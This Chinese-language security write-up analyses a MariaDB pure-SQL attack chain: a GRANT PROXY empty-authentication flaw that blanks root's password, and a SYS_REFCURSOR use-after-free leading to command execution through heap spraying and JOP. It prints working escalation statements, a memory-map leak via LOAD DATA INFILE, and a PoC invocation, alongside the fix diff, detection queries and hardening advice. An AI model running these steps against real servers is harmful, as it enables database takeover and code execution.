空密码的授权令:MariaDB 纯 SQL 攻击链,从 lowpriv 到容器内命令执行
仅持 USAGE 权限的账号,纯用 SQL 打穿 MariaDB:GRANT PROXY 空认证语义缺陷把 root 密码覆盖为空完成提权,SYS_REFCURSOR 游标数组 UAF 配合堆喷射与 JOP 链,容器内以 mysql 用户执行任意命令。含源码走读、修复 diff 与本机复现。
一、前言
2026 年 5 月底发布的 MariaDB 13.0.1-rc,带着一条完整的远程代码执行攻击链。
攻击者手里只有一个低权限数据库账号——只有 USAGE 权限,连建表都得看别人脸色。他唯一的外界通道是 3306 端口的 TCP 连接。然后他只用 SQL 语句,就把这条链从头走到尾:先把自己变成 数据库root(DBA),再读出服务进程的内存布局,接着堆利用,在容器内以 mysql 用户(uid 999)执行任意命令。
利用链本身完全由 SQL 语句完成,不需要读写 /proc/<pid>/mem、不需要 root 密码。唯一的外部操作是最后重启容器读取结果标记(见第六节)。所有地址都是运行时从服务进程自己嘴里问出来的——攻击者的全部弹药,都是从目标自己身上现取现用。
这条链由两个独立缺陷拼成:
- 一个是权限提升:
GRANT PROXY语句在显式指定空认证时,权限检查被整个跳过,任意用户可以把 root 账号的密码覆盖成空——一条语句,无需任何权限 - 一个是内存破坏:SYS_REFCURSOR 存储过程游标数组的 use-after-free,配合堆喷射和 JOP 链,拿到任意命令执行
修复状态更值得玩味。提权那个缺陷,官方在开发分支修了,但补丁没进任何发布版本——从 13.0.1 一路追溯到 10.6.27,全线裸奔。UAF 那个(F-05),官方 JIRA 有同类的游标 use-after-free 修复记录(MDEV-38561,Critical,修复于 13.0.2 / 11.8.9 / 11.4.13),但其根因是 sp_lex_instr 的 mem_root 重复释放,与本文 F-05 的游标数组扩容悬垂指针并非同一处。国内漏洞库已经给出编号 QVD-2026-48306 的风险通告,并验证了可复现。
二、两个缺陷各是什么
先分别认识这两个漏洞,再看它们怎么拼成链。
F-09:GRANT PROXY 的语义漏洞
GRANT PROXY 是 MariaDB/MySQL 的代理授权语法。它可以允许一个账号"代理"另一个账号的身份登录,常用于中间层账号接管业务账号。既然是"代替别人登录",这个语法的信任模型天然敏感——所以正常设计里,执行 GRANT PROXY 必须通过授权者权限检查,不是谁想发就能发的。
关键在 IDENTIFIED VIA 子句——它指定代理登录时的认证方式。语法允许显式写一个空认证:IDENTIFIED VIA ''。
正常流程下,用户执行 GRANT PROXY 时,服务器要检查执行者是否有资格发出这条授权(有没有相应权限)。问题就出在"显式空认证"的处理上:服务器把"我明确写了空认证"和"我根本没写认证"混为一谈。
于是这条语句畅通无阻:
GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA '';执行者不需要任何 GRANT 权限。服务器跳过了权限检查,然后按字面意思执行:把 root 账号的认证信息替换成空密码。瞬间,整个数据库的最高权限账号,成了一个密码为空的敞口账号。
F-05:SYS_REFCURSOR 的 use-after-free
存储过程支持游标。MariaDB 里有一类特殊游标叫 SYS_REFCURSOR,可以动态打开。存储过程执行期间,这些游标由 sp_cursor_array 这个动态数组统一管理。
问题出在数组的"内部指针"上:某个函数把数组内部元素的地址直接返回给调用方,而数组本身是动态的——元素增加时底层存储会被重新分配。旧地址立即失效,但调用方不知道。
攻击者恰好能控制"元素增加"的时机:游标 open 时执行的是攻击者写的 SQL,SQL 里再打开更多游标,数组就长大了。缓存的那个指针,指向的已经是释放掉的旧存储。
两个洞单独看都只是"经典"级别的缺陷,组合起来就是一条从数据库账号到操作系统命令的直达通道。
三、F-09 源码走读:一次被跳过的授权检查
3.1 入口:GRANT PROXY 语句
攻击入口是任意低权限账号都能执行的 SQL 语句。语法解析时,IDENTIFIED VIA '' 会被解析成一个"认证对象"。修复前的语法规则无条件预分配这个对象——不管用户写没写认证子句,解析器都先造一个空的 USER_AUTH 结构。
3.2 传递:has_auth() 的语义判断
真正的判断在 LEX_USER::has_auth()。修复前它的实现是:
return auth && (auth->plugin.length || auth->auth_str.length || auth->pwtext.length);plugin、密码、文本三个字段全空 → 整体返回 false。
字面上看挺合理:没有认证信息嘛。但语义错了——IDENTIFIED VIA '' 是"我显式指定了空认证",不是"我没指定认证"。这两者的区别,正是漏洞的全部。
has_auth() 返回 false 意味着调用方认为"这条 GRANT PROXY 没有带认证子句"。而带认证子句和不带,走的检查路径完全不同。修复的提交信息把这件事说得很白:
"empty password and empty plugin name don't mean 'authentication was not specified', they mean 'empty authentication was specified'"
空密码 + 空插件名,不等于"没指定认证",等于"指定了空认证"。
3.3 汇聚点:权限检查被跳过,写入照常执行
has_auth() 返回 false 后,调用链跳过了对授权者的权限检查(检查会拒绝权限不足的授权请求)。但写库的动作没有跳过:replace_user_table() 依然执行,把 root 账号的认证信息替换成空密码。
概括一下这个缺陷:判断"有没有认证"的逻辑,被"认证内容是否为空"的逻辑覆盖了。 修复前它俩是同一个判断,修复后才是两个。
3.4 修复 diff 走读
修复 commit 改了两个文件,逻辑非常干净:
sql/structs.h——has_auth() 改成只判空指针:
- return auth && (auth->plugin.length || auth->auth_str.length || auth->pwtext.length);
+ return auth;sql/sql_yacc.yy——删除无条件预分配,让"没写认证子句"真正表现为 auth == NULL:
- $$->auth= new (thd->mem_root) USER_AUTH();从此,空指针 = 没指定认证;非空对象(哪怕字段全空)= 显式指定了空认证。后者必须走完整的授权检查。
配套的回归测试也很有意思:新建一个无密码用户,让他尝试 GRANT PROXY(指定 'foo' 或空字符串认证),预期结果是权限拒绝错误——修复前这类尝试不会触发权限拒绝,授权请求在检查阶段就被放行了。
四、F-05 源码走读:悬垂的内部指针
4.1 入口:SYS_REFCURSOR 的 OPEN
存储过程里声明游标,执行 OPEN ... FOR SELECT ... 时,服务器从游标数组里取出对应元素。取元素的核心函数 get_cursor_by_ref(),源码(sql/sp_cursor.cc):
sp_cursor_array_element *sp_cursor_array::get_cursor_by_ref(THD *thd,
Field *ref_field,
bool for_open)
{
Type_ref_null ref= ref_field->val_ref(thd);
if (ref < (ulonglong) elements())
return &at((size_t) ref.value()); // "ref" points to an initialized sp_cursor
...注意看那行:return &at(...)。它返回的是数组内部存储的元素地址——一个指向动态数组内部的原始指针。
4.2 传递:append 触发存储重分配
数组的类型是 Dynamic_array。它的增长路径(sql/sql_array.h):
void append(const Elem &el) { insert_dynamic(&array, &el); }insert_dynamic() 在容量不足时重新分配底层 buffer——旧 buffer 被释放,元素搬进新地址。
危险就在这:get_cursor_by_ref() 返回的内部指针被调用方缓存,而游标 open 的过程中,执行的是攻击者可控的 SQL。SQL 里再打开更多游标 → 数组 append → 存储重分配 → 旧指针悬垂。攻击链的构造里,这一步被精确编排:外层游标 open 的 SQL 里,打开 15 个额外游标,配合三轮回分配/释放的"诱饵"对象,把数组顶到增长点。数组一增长,外层持有的指针就成了悬垂指针。
4.3 汇聚点:用悬垂指针做虚拟派发
悬垂指针指向的内存已被释放,但分配器还没把这块 1792 字节(16 个游标元素 × 112 字节)分给别人。攻击者用 128 个 1784 字节的用户变量 blob 做堆喷射,把这块空间"精确回收"。每个 blob 的偏移 0x20 处(恰好是 sp_cursor 结构里 result 成员的位置)埋着攻击者控制的 vtable 指针。后续代码对悬垂指针做虚拟派发 result->prepare(),实际取到的 vtable 是攻击者布的局。
一个"返回内部指针"的省事写法,加上"可控时机的数组增长",拼成了一个稳定可触发的 UAF——而且这个 UAF 的触发完全靠 SQL 完成。
五、攻击链全程拆解
整个链条分六步,先看全景,再拆细节。
第一步:一条 GRANT PROXY 换一个 root
低权限账号执行:
GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA '';
GRANT PROXY ON CURRENT_USER() TO 'root'@'localhost' IDENTIFIED VIA '';两行,没有权限门槛。执行完,root 的密码为空。攻击者用 root + 空密码重新连接,已经是数据库的最高权限。
第二步:从服务进程嘴里问出内存布局
提权后有了 FILE 权限。原版镜像里 secure_file_priv 未设置,意味着 LOAD DATA INFILE 可以读服务器进程能读的任何文件——包括它自己的内存映射:
LOAD DATA INFILE '/proc/self/maps' INTO TABLE appdb.maps_pre;/proc/self/maps 列出 mariadbd 进程的全部内存段:PIE 基址、libc 基址,一行一行躺着。ASLR 当场失效。
第三步:要一块地址已知的大缓冲区
JOP 链需要一块"攻击者可控内容 + 地址已知"的内存。SQL 侧的办法是用户变量:
SET @fake = REPEAT(CHAR(0xDE), 134217728);128 MiB 的 REPEAT 结果。glibc 对这么大的分配走 mmap,给它一块专有区域(数据起始偏移 +0x30)。这块区域的地址通过 maps 前后对比算出来——同样是从 SQL 侧完成。
第四步:把 JOP 布局写进缓冲区
地址已知,内容可控,把利用布局写进去:SET @fake = CONCAT(REPEAT(...), UNHEX('<布局>'), REPEAT(...))。
UNHEX 解决了"SQL 里塞二进制"的问题。布局里的自引用指针(vtable 指向命令字符串)用第三步算出的地址烘焙进去。glibc 在释放旧块再分配时复用同一个 mmap 槽位,地址稳定——每一步都重新验证,槽位万一挪了就把地址重新烘焙重试。
第五步:CALL uaf5() 点火
核心触发语句就一个:
CALL uaf5();过程体里:打开一个 SYS_REFCURSOR,其 open 的 SQL 执行 grow5()——里面 15 个游标加诱饵分配把数组顶到增长点,随后释放的 1792 字节块被预先排好的 128 个 blob 回收。回收 blob 的偏移 0x20 处是受控 vtable。虚拟派发走:
; 虚拟派发机制示意(非实际反汇编)
result->prepare()
-> mov rax, [result] ; rax = 攻击者的 vtable 指针
-> call [rax + 0x20] ; D2 gadget第六步:两个 gadget 直达 system()
JOP 链只有两个 gadget,全部来自原版二进制,没有 ROP、没有栈迁移:
Gadget | 偏移 | 指令 | 用途 |
D2 | PIE+0x80da77 |
| 栈对齐修正 |
D1 | PIE+0xe3075b |
| 取命令字符串指针,调 system() |
五个偏移各司其职,布局如下:
执行以 uid 999(mysql 用户)身份完成。命令跑完,服务进程崩溃——对利用者来说正好,崩溃即证明。重启容器读标记文件,收工。
六个步骤,五个在 SQL 里完成,唯一的外部操作是重启容器看结果。
六、本机复现
链讲得再细,不如跑一遍。环境是 Docker + 原版 13.0.1-rc 镜像,没有做任何修改。
6.1 环境准备
项目地址:https://github.com/dinosn/mariadb-13-rce-lab
拉下来是这样的
当前复现的环境是在kali中,部署命令如下
docker-compose up -d6.2 执行poc
默认是3306 可详见yml那个文件
python3 exploit_pure_sql.py --host 127.0.0.1 --port 3306 --user lowpriv --password lowpriv --command "id > /tmp/pwned" --marker /tmp/pwned --container mariadb-rce-lab脚本会自动完成:读 maps 拿基址、分配 128 MiB 缓冲、写 JOP 布局、触发 UAF、执行命令。
6.3 结果
命令以 uid 999(mysql 用户)在容器内执行,标记文件写入成功,收工。
tip:注意不是去自己kali的tmp目录下看,得去容器里面,别跟我一样犯傻了。
复现结论:从环境搭建到命令执行全程走通,利用链本身完全由 SQL 完成;唯一的外部操作是重启容器验证结果
七、为什么这条纯 SQL 链值得琢磨
技术层面,这条链最值得琢磨的是它的工程思路——攻击者只有 SQL 一个接口,怎么把"任意命令执行"从数据库里抠出来。
第一道坎是二进制载荷。SQL 的字符串是文本,但指针是 8 字节二进制。解法是 UNHEX——把十六进制文本转回原始字节,MySQL/MariaDB 的字符串函数天然支持。SQL 的文本世界和内存的字节世界,靠一个函数打通。
第二道坎是自引用。JOP 布局里的 vtable 要指向自己的命令字符串,但写布局的时候,地址还不知道。解法是分两步走:先分配一块纯填充的 128 MiB 标记缓冲,从 maps 里 diff 出新区域算出地址;再重新分配完整布局——glibc 复用同一个 mmap 槽位,地址不变。地址已知的问题,被分配器的确定性行为解决了。
第三道坎是精确回收。UAF 释放的块是 1792 字节,喷射的 blob 是 1784 字节,差 8 字节对齐到 glibc 的 chunk 尺寸——不多不少,正好吃掉同一个 chunk。堆喷射不是乱喷,是测过尺寸的精准覆盖。
第四道坎是控制流。不用 ROP(需要栈迁移和大量 gadget),选 JOP:两个 gadget,一个调 call *0x100(%rax) 修正栈对齐,一个把命令字符串装进 rdi 再调 system。控制流在攻击者自己的数据里跳舞,gadget 只做搬运。
第五道坎是稳定性。整条链跑在四个全新 ASLR 基址上,任何一步地址漂移都会前功尽弃。披露方的测试结果是 4 次运行 4 次成功——每轮都从 maps 重新读取基址、重新验证 mmap 槽位,地址一旦挪动就把自引用重新烘焙重试。纯 SQL 的利用不是碰运气,是把每个不确定项都变成可查询、可验证的确定项。
这套思路的价值在于:它演示了数据库攻击从"注入进 SQL"到"SQL 即利用语言"的转变。 传统的 SQL 注入还在拼字符串,这里的攻击者已经在 SQL 里完成整个内存利用工程。
八、影响与修复状态
影响面评估很直白:
- F-09(提权)影响所有发布版本——修复提交在开发分支,13.0.1 到 10.6.27 的每个发布版都不含补丁
- F-05(UAF):MariaDB 官方已有游标 use-after-free 修复记录(MDEV-38561,Critical,修复于 13.0.2 / 11.8.9 / 11.4.13);本文分析的
get_cursor_by_ref悬垂指针路径与 MDEV-38561 是否同一处,需对照官方 commit 确认 - 攻击起点低:任意低权限账号 + 3306 端口可达;但完整利用链还依赖 F-09 提权成功(未含补丁的版本)以及
secure_file_priv未设置(才能读/proc/self/maps)
国内漏洞库已发布编号 QVD-2026-48306 的风险通告并验证可复现,说明这条链已经进入国内应急响应视野。
有一个细节值得单独说:F-09 的补丁躺在开发分支上,发布分支没合入。这种"修了但没发布"的状态在数据库这种长周期产品里很常见,但危害是实打实的——补丁存在的消息本身就是一张攻击面地图,而修复没到位的版本还是照常对外提供服务。
九、检测与加固
这个攻击链有明确的检测抓手——链的前两步(提权、读文件)都是高特征的 SQL 行为。
9.1 SQL 侧检测(最有效)
链的起点是 GRANT PROXY 授权,这是可以用查询直接抓的:
-- 查找所有 PROXY 授权(正常业务极少使用)
SELECT * FROM mysql.tables_priv WHERE Table_priv LIKE '%PROXY%';
SELECT * FROM mysql.proxies_priv;
-- 查找 root 账号的认证信息是否被改动(密码哈希非空应为正常)
SELECT User, Host, plugin, authentication_string
FROM mysql.user WHERE User IN ('root', 'admin');
-- 审计日志中搜索特征语句(若开启 general_log)
SELECT * FROM mysql.general_log
WHERE argument LIKE '%GRANT PROXY%' OR argument LIKE '%IDENTIFIED VIA%';GRANT PROXY 在正常业务里几乎不出现,出现即可疑。
9.2 配置加固
以下措施是理论层面的阻断建议,本文未逐一实测验证,落地前需在测试环境确认有效且不影响业务。针对攻击链的三个支点,各封一刀:
# 1. 阻断 /proc/self/maps 读取(打破 ASLR 泄露)
# my.cnf 中设置:
# [mysqld]
# secure_file_priv = /var/lib/mysql-files
# 2. 限制大用户变量(阻断 128 MiB mmap 缓冲)
# my.cnf 中设置:
# max_allowed_packet = 16M
# 3. 监控 mysql.user 表变更(捕捉提权动作)
# 建议用数据库审计插件或外部 SIEM 监控 GRANT 语句执行注意 secure_file_priv 的设置会同时影响正常业务的文件导入导出——改之前先评估业务侧。max_allowed_packet 同理,压得太狠可能伤到合法的大查询。
9.3 版本策略
- 优先等官方发布含 F-09 修复的稳定版本并跟进升级
- 对无法升级的环境:数据库账号最小化(低权限账号不允许 GRANT)、数据库端口不暴露公网、数据库账号密码定期轮换
- 关注官方安全公告中 F-05(SYS_REFCURSOR)的修复进展
十、反思
写完这条链,我有三件事想说。
第一件,关于"空值语义"。F-09 的根子是"空字符串和未指定被当成一回事"。这个坑在数据库生态里反复出现:NULL 和空串、默认密码和显式空密码、未设置和设置为空。GRANT PROXY 这次翻车在认证检查上,下一个可能翻在别的地方。审计这类代码时,"区分没说话和说了句空话"应该是个固定检查项。
第二件,关于修复流程。补丁躺在开发分支三个月,发布分支一个没有——这件事比漏洞本身更值得警惕。对攻击者来说,读 commit 日志就能画出攻击面;对防御者来说,"修了"和"可修复"之间的真空期,是唯一真正危险的窗口。
第三件,关于 SQL 的攻击面。这条链的利用全程用 SQL 完成,从提权到内存布局到命令执行,没有一个环节需要数据库之外的接口。这对检测体系是个提醒:数据库审计如果只看"注入了什么",看不到"SQL 本身在干什么",那么下一场攻防里,SQL 就是攻击者的完整武器库。基于已验证事实的推测:MariaDB 服务端还有多少类似 get_cursor_by_ref 的"省事返回内部指针"的写法,我没有数过,但值得数一数。